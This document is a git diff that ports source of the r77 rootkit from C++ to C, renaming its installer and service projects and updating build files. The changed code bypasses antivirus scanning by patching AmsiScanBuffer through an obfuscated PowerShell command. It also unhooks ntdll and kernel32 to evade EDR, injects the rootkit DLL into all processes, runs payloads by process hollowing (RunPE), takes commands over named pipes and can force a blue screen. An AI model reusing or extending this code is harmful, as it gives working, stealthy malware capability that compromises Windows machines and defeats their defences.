a/vs/Helper64/Helper64.vcxproj +++ b/Helper64/Helper64.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,31 @@ true + false false + false Level3 - true + false _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" @@ -72,32 +79,28 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - - - - - - - - - diff --git a/Helper64/Helper64.vcxproj.filters b/Helper64/Helper64.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/Helper64/Helper64.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/src/Install/Install.cpp b/Install/Install.c similarity index 84% rename from src/Install/Install.cpp rename to Install/Install.c index 601f376..054443e 100644 --- a/src/Install/Install.cpp +++ b/Install/Install.c @@ -1,13 +1,18 @@ #include "Install.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#include "resource.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include +#include +#include + +int main() { - InitializeApi(INITIALIZE_API_SRAND); - // Get stager executable from resources. LPBYTE stager; DWORD stagerSize; - if (!GetResource(IDR_INSTALLSTAGER, "EXE", &stager, &stagerSize)) return 0; + if (!GetResource(IDR_STAGER, "EXE", &stager, &stagerSize)) return 0; // Write stager executable to registry. // This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell. @@ -53,19 +58,19 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) { // Powershell inline command to be invoked using powershell.exe "..." - PWCHAR command = new WCHAR[4096]; - lstrcpyW(command, L"\""); + PWCHAR command = NEW_ARRAY(WCHAR, 4096); + StrCpyW(command, L"\""); // AMSI bypass: - // [Reflection.Assembly]::Load triggers AMSI and the byte[] with InstallStager.exe is passed to AV for analysis. + // [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis. // AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI. // AMSI is only supported on Windows 10. - if (IsWindows10OrGreater()) + if (IsWindows10OrGreater2()) { // Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load. // Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk. - lstrcatW + StrCatW ( command, // Function to create a Delegate from an IntPtr @@ -112,21 +117,21 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) { // b8 57 00 07 80 mov eax, 0x80070057 // c3 ret - lstrcatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);"); + StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);"); } else { // b8 57 00 07 80 mov eax, 0x80070057 // c2 18 00 ret 0x18 - lstrcatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);"); + StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);"); } // VirtualProtect PAGE_EXECUTE_READ - lstrcatW(command, L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,0x20,[ref]$OldProtect);"); + StrCatW(command, L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,0x20,[ref]$OldProtect);"); } - // Load InstallStager.exe from registry and invoke - lstrcatW + // Load Stager.exe from registry and invoke + StrCatW ( command, L"[Reflection.Assembly]::Load" @@ -139,7 +144,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) L".Invoke($Null,$Null)" ); - lstrcatW(command, L"\""); + StrCatW(command, L"\""); // Obfuscate all variable names with random strings. ObfuscateString(command, L"Get-Delegate"); @@ -162,17 +167,13 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) VOID ObfuscateString(LPWSTR str, LPCWSTR name) { DWORD length = lstrlenW(name); + WCHAR newName[100]; - LPWSTR newName = new WCHAR[length]; - for (DWORD i = 0; i < length; i++) - { - newName[i] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[rand() * 52 / RAND_MAX]; - } - - for (LPWSTR ocurrence; ocurrence = StrStrIW(str, name);) + if (GetRandomString(newName, length)) { - wmemcpy(ocurrence, newName, length); + for (LPWSTR ocurrence; ocurrence = StrStrIW(str, name);) + { + libc_wmemcpy(ocurrence, newName, length); + } } - - delete[] newName; } \ No newline at end of file diff --git a/src/Install/Install.h b/Install/Install.h similarity index 85% rename from src/Install/Install.h rename to Install/Install.h index cd5a1dc..920b1e7 100644 --- a/src/Install/Install.h +++ b/Install/Install.h @@ -1,7 +1,5 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include "../../vs/Install/resource.h" +#define CUSTOM_ENTRY +#include "r77mindef.h" /// /// Creates the powershell startup command. diff --git a/vs/Install/Install.vcxproj b/Install/Install.vcxproj similarity index 78% rename from vs/Install/Install.vcxproj rename to Install/Install.vcxproj index 509647c..df39592 100644 --- a/vs/Install/Install.vcxproj +++ b/Install/Install.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,7 @@ + @@ -52,20 +53,26 @@ Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\" @@ -77,22 +84,29 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\" @@ -100,23 +114,20 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" - - + + - - - - + - + - + - + diff --git a/vs/Install/Install.vcxproj.filters b/Install/Install.vcxproj.filters similarity index 66% rename from vs/Install/Install.vcxproj.filters rename to Install/Install.vcxproj.filters index 0a2a71c..28a1272 100644 --- a/vs/Install/Install.vcxproj.filters +++ b/Install/Install.vcxproj.filters @@ -1,24 +1,13 @@  - - - - {812009c3-0b86-4444-9ce5-09208fb015db} - - - - - - - Resources - + @@ -26,4 +15,12 @@ + + + + + + Resources + + \ No newline at end of file diff --git a/vs/InstallService64/Resource.rc b/Install/Resource.rc similarity index 94% rename from vs/InstallService64/Resource.rc rename to Install/Resource.rc index 91f6a27..0e42d09 100644 --- a/vs/InstallService64/Resource.rc +++ b/Install/Resource.rc @@ -47,10 +47,10 @@ END ///////////////////////////////////////////////////////////////////////////// // -// DLL +// EXE // -IDR_R77 DLL "Resources\\r77.dll" +IDR_STAGER EXE "Resources\\Stager.exe" #endif // English (United States) resources ///////////////////////////////////////////////////////////////////////////// diff --git a/vs/Install/Resources/.gitkeep b/Install/Resources/.gitkeep similarity index 100% rename from vs/Install/Resources/.gitkeep rename to Install/Resources/.gitkeep diff --git a/vs/Install/app.manifest b/Install/app.manifest similarity index 96% rename from vs/Install/app.manifest rename to Install/app.manifest index edc45d4..b6a0996 100644 --- a/vs/Install/app.manifest +++ b/Install/app.manifest @@ -1,4 +1,4 @@ - + diff --git a/vs/Install/resource.h b/Install/resource.h similarity index 89% rename from vs/Install/resource.h rename to Install/resource.h index 27ac810..e6ca2cd 100644 --- a/vs/Install/resource.h +++ b/Install/resource.h @@ -2,7 +2,7 @@ // Microsoft Visual C++ generated include file. // Used by Resource.rc // -#define IDR_INSTALLSTAGER 101 +#define IDR_STAGER 101 // Next default values for new objects // diff --git a/src/InstallShellcode/InstallShellcode.asm b/InstallShellcode/InstallShellcode.asm similarity index 100% rename from src/InstallShellcode/InstallShellcode.asm rename to InstallShellcode/InstallShellcode.asm diff --git a/InstallShellcode/InstallShellcode.vcxitems b/InstallShellcode/InstallShellcode.vcxitems new file mode 100644 index 0000000..bad4681 --- /dev/null +++ b/InstallShellcode/InstallShellcode.vcxitems @@ -0,0 +1,23 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {deab25fd-2042-4bd6-bf4b-0802dccc70f5} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/InstallShellcode/PebApi.asm b/InstallShellcode/PebApi.asm similarity index 100% rename from src/InstallShellcode/PebApi.asm rename to InstallShellcode/PebApi.asm diff --git a/src/InstallShellcode/PebApi.inc b/InstallShellcode/PebApi.inc similarity index 100% rename from src/InstallShellcode/PebApi.inc rename to InstallShellcode/PebApi.inc diff --git a/src/InstallShellcode/RunPE.asm b/InstallShellcode/RunPE.asm similarity index 100% rename from src/InstallShellcode/RunPE.asm rename to InstallShellcode/RunPE.asm diff --git a/src/InstallShellcode/nt.inc b/InstallShellcode/nt.inc similarity index 100% rename from src/InstallShellcode/nt.inc rename to InstallShellcode/nt.inc diff --git a/Service/ControlPipeListener.c b/Service/ControlPipeListener.c new file mode 100644 index 0000000..b8c448a --- /dev/null +++ b/Service/ControlPipeListener.c @@ -0,0 +1,37 @@ +#include "ControlPipeListener.h" +#include "r77def.h" +#include "r77win.h" + +VOID ControlPipeListener(CONTROLCALLBACK callback) +{ + CreateThread(NULL, 0, ControlPipeListenerThread, callback, 0, NULL); +} +DWORD WINAPI ControlPipeListenerThread(LPVOID parameter) +{ + while (TRUE) + { + HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CONTROL_PIPE_NAME, CONTROL_PIPE_REDIRECT64_NAME)); + while (pipe != INVALID_HANDLE_VALUE) + { + if (ConnectNamedPipe(pipe, NULL)) + { + DWORD controlCode; + DWORD bytesRead; + if (ReadFile(pipe, &controlCode, 4, &bytesRead, NULL) && bytesRead == sizeof(DWORD)) + { + ((CONTROLCALLBACK)parameter)(controlCode, pipe); + } + } + else + { + Sleep(1); + } + + DisconnectNamedPipe(pipe); + } + + Sleep(1); + } + + return 0; +} \ No newline at end of file diff --git a/Service/ControlPipeListener.h b/Service/ControlPipeListener.h new file mode 100644 index 0000000..fefbf17 --- /dev/null +++ b/Service/ControlPipeListener.h @@ -0,0 +1,17 @@ +#include "r77mindef.h" +#ifndef _CONTROLPIPELISTENER_H +#define _CONTROLPIPELISTENER_H + +/// +/// A callback that notifies the r77 service about a command. +/// +typedef VOID(*CONTROLCALLBACK)(DWORD controlCode, HANDLE pipe); + +/// +/// Creates a new listener for the control pipe that receives commands from any process. +/// +/// The function that is called, when a command is received by another process. +VOID ControlPipeListener(CONTROLCALLBACK callback); +static DWORD WINAPI ControlPipeListenerThread(LPVOID parameter); + +#endif \ No newline at end of file diff --git a/Service/ProcessListener.c b/Service/ProcessListener.c new file mode 100644 index 0000000..1942dd5 --- /dev/null +++ b/Service/ProcessListener.c @@ -0,0 +1,95 @@ +#include "ProcessListener.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include + +VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback) +{ + PNEW_PROCESS_LISTENER notifier = NEW(NEW_PROCESS_LISTENER); + notifier->Interval = interval; + notifier->Callback = callback; + + CreateThread(NULL, 0, NewProcessListenerThread, notifier, 0, NULL); +} +static DWORD WINAPI NewProcessListenerThread(LPVOID parameter) +{ + PNEW_PROCESS_LISTENER notifier = (PNEW_PROCESS_LISTENER)parameter; + + LPDWORD currendProcesses = NEW_ARRAY(DWORD, 10000); + LPDWORD previousProcesses = NEW_ARRAY(DWORD, 10000); + DWORD currendProcessCount = 0; + DWORD previousProcessCount = 0; + + while (TRUE) + { + if (EnumProcesses(currendProcesses, sizeof(DWORD) * 10000, ¤dProcessCount)) + { + currendProcessCount /= sizeof(DWORD); + + for (DWORD i = 0; i < currendProcessCount; i++) + { + // Compare the result of EnumProcesses with the previous list and invoke the callback for new processes. + BOOL isNew = TRUE; + + for (DWORD j = 0; j < previousProcessCount; j++) + { + if (currendProcesses[i] == previousProcesses[j]) + { + isNew = FALSE; + break; + } + } + + if (isNew) notifier->Callback(currendProcesses[i]); + } + + libc_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000); + previousProcessCount = currendProcessCount; + } + + Sleep(notifier->Interval); + } + + return 0; +} + +VOID ChildProcessListener(PROCESSIDCALLBACK callback) +{ + CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL); +} +static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter) +{ + while (TRUE) + { + HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CHILD_PROCESS_PIPE_NAME32, CHILD_PROCESS_PIPE_NAME64)); + while (pipe != INVALID_HANDLE_VALUE) + { + if (ConnectNamedPipe(pipe, NULL)) + { + DWORD processId; + DWORD bytesRead; + if (ReadFile(pipe, &processId, 4, &bytesRead, NULL)) + { + // Invoke the callback. The callback should inject r77 into the process. + ((PROCESSIDCALLBACK)parameter)(processId); + + // Notify the callee that the callback completed (r77 is injected) and NtResumeThread can be called. + BYTE returnValue = 77; + DWORD bytesWritten; + WriteFile(pipe, &returnValue, sizeof(BYTE), &bytesWritten, NULL); + } + } + else + { + Sleep(1); + } + + DisconnectNamedPipe(pipe); + } + + Sleep(1); + } + + return 0; +} \ No newline at end of file diff --git a/Service/ProcessListener.h b/Service/ProcessListener.h new file mode 100644 index 0000000..a897143 --- /dev/null +++ b/Service/ProcessListener.h @@ -0,0 +1,43 @@ +#include "r77mindef.h" +#ifndef _PROCESSLISTENER_H +#define _PROCESSLISTENER_H + +/// +/// A callback that notifies about a process ID. +/// +typedef VOID(*PROCESSIDCALLBACK)(DWORD processId); + +/// +/// Defines a listener, that checks for new processes in a given interval. +/// +typedef struct _NEW_PROCESS_LISTENER +{ + /// + /// The interval, in milliseconds, between each enumeration of running processes. + /// + DWORD Interval; + /// + /// The function that is called, when a process is found that was not present in the previous enumeration. + /// + PROCESSIDCALLBACK Callback; +} NEW_PROCESS_LISTENER, *PNEW_PROCESS_LISTENER; + +/// +/// Creates a new process listener, that checks for new processes in a given interval. +/// +/// The interval, in milliseconds, between each enumeration of running processes. +/// The function that is called, when a process is found that was not present in the previous enumeration. +/// +/// A pointer to the newly created NEW_PROCESS_LISTENER structure. +/// +VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback); +static DWORD WINAPI NewProcessListenerThread(LPVOID parameter); + +/// +/// Creates a named pipe that listens for notifications about created child processes. +/// +/// The function that is called, when the named pipe received a process ID. +VOID ChildProcessListener(PROCESSIDCALLBACK callback); +static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter); + +#endif \ No newline at end of file diff --git a/vs/InstallService32/Resource.rc b/Service/Resource.rc similarity index 100% rename from vs/InstallService32/Resource.rc rename to Service/Resource.rc diff --git a/src/InstallService/InstallService.cpp b/Service/Service.c similarity index 84% rename from src/InstallService/InstallService.cpp rename to Service/Service.c index a08287a..72a18c4 100644 --- a/src/InstallService/InstallService.cpp +++ b/Service/Service.c @@ -1,17 +1,27 @@ -#include "InstallService.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#include "Service.h" +#include "resource.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include "r77config.h" +#include "r77process.h" +#include "ProcessListener.h" +#include "ControlPipeListener.h" +#include +#include + +int main() { // Unhook DLL's that are monitored by EDR. UnhookDll(L"ntdll.dll"); - if (IsWindows10OrGreater() || sizeof(LPVOID) == 8) + if (IsWindows10OrGreater2() || BITNESS(64)) { // Unhooking kernel32.dll on Windows 7 x86 fails. //TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails. UnhookDll(L"kernel32.dll"); } - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); // Get r77 DLL. if (!GetResource(IDR_R77, "DLL", &Dll, &DllSize)) return 0; @@ -31,7 +41,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma { // The registry values "svc32" and "svc64" are reserved for the r77 service. DWORD processId = GetCurrentProcessId(); - RegSetValueExW(pidKey, sizeof(LPVOID) == 4 ? L"svc32" : L"svc64", 0, REG_DWORD, (LPBYTE)&processId, sizeof(DWORD)); + RegSetValueExW(pidKey, COALESCE_BITNESS(L"svc32", L"svc64"), 0, REG_DWORD, (LPBYTE)&processId, sizeof(DWORD)); RegCloseKey(pidKey); } @@ -57,7 +67,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma // If the R77_SIGNATURE is already present in the target process, the r77 DLL will just unload itself. // Perform startup of custom files, only in the 32-bit service to not perform startup twice. - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { PR77_CONFIG config = LoadR77Config(); @@ -69,7 +79,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma DeleteR77Config(config); } - while (true) + while (TRUE) { Sleep(100); } @@ -104,7 +114,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) { case CONTROL_R77_TERMINATE_SERVICE: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -114,18 +124,18 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_R77_UNINSTALL: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } HKEY key; - if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | (sizeof(LPVOID) == 4 ? KEY_WOW64_32KEY : KEY_WOW64_64KEY), &key) == ERROR_SUCCESS) + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | COALESCE_BITNESS(KEY_WOW64_32KEY, KEY_WOW64_64KEY), &key) == ERROR_SUCCESS) { RegDeleteValueW(key, HIDE_PREFIX L"stager"); } - DeleteScheduledTask(sizeof(LPVOID) == 4 ? R77_SERVICE_NAME32 : R77_SERVICE_NAME64); + DeleteScheduledTask(COALESCE_BITNESS(R77_SERVICE_NAME32, R77_SERVICE_NAME64)); DetachAllInjectedProcesses(); UninstallR77Config(); TerminateR77Service(-1); @@ -133,7 +143,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_R77_PAUSE_INJECTION: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -143,7 +153,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_R77_RESUME_INJECTION: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -162,7 +172,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) BOOL is64Bit; if (Is64BitProcess(processId, &is64Bit)) { - if (is64Bit == (sizeof(LPVOID) == 8)) + if (BITNESS(is64Bit ? 64 : 32)) { InjectDll(processId, Dll, DllSize, TRUE); } @@ -177,12 +187,12 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_PROCESSES_INJECT_ALL: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } - LPDWORD processes = new DWORD[10000]; + LPDWORD processes = NEW_ARRAY(DWORD, 10000); DWORD processCount = 0; if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount)) { @@ -206,9 +216,9 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) BOOL is64Bit; if (Is64BitProcess(processId, &is64Bit)) { - if (is64Bit == (sizeof(LPVOID) == 8)) + if (BITNESS(is64Bit ? 64 : 32)) { - DetachInjectedProcess(processId); + DetachInjectedProcessById(processId); } else { @@ -221,7 +231,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) } case CONTROL_PROCESSES_DETACH_ALL: { - if (sizeof(LPVOID) == 4) + if (BITNESS(32)) { RedirectCommand64(controlCode, NULL, 0); } @@ -250,13 +260,13 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) DWORD bytesRead; if (ReadFile(pipe, &fileSize, sizeof(DWORD), &bytesRead, NULL) && bytesRead == sizeof(DWORD)) { - LPBYTE file = new BYTE[fileSize]; + LPBYTE file = NEW_ARRAY(BYTE, fileSize); if (ReadFile(pipe, file, fileSize, &bytesRead, NULL) && bytesRead == fileSize) { BOOL is64Bit; if (IsExecutable64Bit(file, &is64Bit)) { - if (is64Bit == (sizeof(LPVOID) == 8)) + if (BITNESS(is64Bit ? 64 : 32)) { RunPE(path, file); } @@ -270,21 +280,21 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) pathSize + // path sizeof(DWORD) + // file size fileSize; // file - LPBYTE redirectedData = new BYTE[redirectedDataSize]; + LPBYTE redirectedData = NEW_ARRAY(BYTE, redirectedDataSize); DWORD offset = 0; - memcpy(redirectedData + offset, path, pathSize); + libc_memcpy(redirectedData + offset, path, pathSize); offset += pathSize; - memcpy(redirectedData + offset, &fileSize, sizeof(DWORD)); + libc_memcpy(redirectedData + offset, &fileSize, sizeof(DWORD)); offset += sizeof(DWORD); - memcpy(redirectedData + offset, file, fileSize); + libc_memcpy(redirectedData + offset, file, fileSize); RedirectCommand64(controlCode, redirectedData, redirectedDataSize); - delete[] redirectedData; + FREE(redirectedData); } } } - delete[] file; + FREE(file); } } @@ -293,10 +303,10 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe) case CONTROL_SYSTEM_BSOD: { BOOLEAN previousValue = FALSE; - nt::RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue); + RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue); BOOLEAN oldIsCritical = FALSE; - nt::RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE); + RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE); ExitProcess(0); break; diff --git a/src/InstallService/InstallService.h b/Service/Service.h similarity index 91% rename from src/InstallService/InstallService.h rename to Service/Service.h index a357b43..4ca6e47 100644 --- a/src/InstallService/InstallService.h +++ b/Service/Service.h @@ -1,7 +1,5 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include "../../vs/InstallService32/resource.h" +#define CUSTOM_ENTRY +#include "r77mindef.h" /// /// The r77 DLL. @@ -15,7 +13,7 @@ DWORD DllSize; /// Specifies whether to temporarily pause injection. /// This flag is related to the CONTROL_R77_PAUSE_INJECTION control code. /// -BOOL IsInjectionPaused = FALSE; +BOOL IsInjectionPaused; /// /// Callback for newly created child processes that should be injected. diff --git a/Service/Service.vcxitems b/Service/Service.vcxitems new file mode 100644 index 0000000..672182a --- /dev/null +++ b/Service/Service.vcxitems @@ -0,0 +1,30 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {46e171d4-1811-48be-8867-a63c28761d28} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/vs/InstallService32/resource.h b/Service/resource.h similarity index 100% rename from vs/InstallService32/resource.h rename to Service/resource.h diff --git a/vs/InstallService32/Resources/.gitkeep b/Service32/Resources/.gitkeep similarity index 100% rename from vs/InstallService32/Resources/.gitkeep rename to Service32/Resources/.gitkeep diff --git a/vs/InstallService32/InstallService32.vcxproj b/Service32/Service32.vcxproj similarity index 73% rename from vs/InstallService32/InstallService32.vcxproj rename to Service32/Service32.vcxproj index 64d49a2..367639b 100644 --- a/vs/InstallService32/InstallService32.vcxproj +++ b/Service32/Service32.vcxproj @@ -14,20 +14,20 @@ 16.0 Win32Proj {7271afd1-10f6-4589-95b7-3abf98e7b2ca} - InstallService32 + Service32 10.0 Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,34 @@ true + false false + false Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt @@ -72,39 +82,33 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt - - - - - - - - - - - - - diff --git a/Service32/Service32.vcxproj.filters b/Service32/Service32.vcxproj.filters new file mode 100644 index 0000000..51ff1a1 --- /dev/null +++ b/Service32/Service32.vcxproj.filters @@ -0,0 +1,13 @@ + + + + + {d2e0541b-9b37-4d4c-862a-dc53df8eeb06} + + + + + Resources + + + \ No newline at end of file diff --git a/vs/InstallService64/Resources/.gitkeep b/Service64/Resources/.gitkeep similarity index 100% rename from vs/InstallService64/Resources/.gitkeep rename to Service64/Resources/.gitkeep diff --git a/vs/InstallService64/InstallService64.vcxproj b/Service64/Service64.vcxproj similarity index 72% rename from vs/InstallService64/InstallService64.vcxproj rename to Service64/Service64.vcxproj index 5811991..e85a89f 100644 --- a/vs/InstallService64/InstallService64.vcxproj +++ b/Service64/Service64.vcxproj @@ -14,20 +14,20 @@ 16.0 Win32Proj {e3104b33-db3d-4c83-b393-1e05e1ff2b10} - InstallService64 + Service64 10.0 Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,34 @@ true + false false + false Level3 - true + false _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service -xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources" -"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt +xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources" +"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" 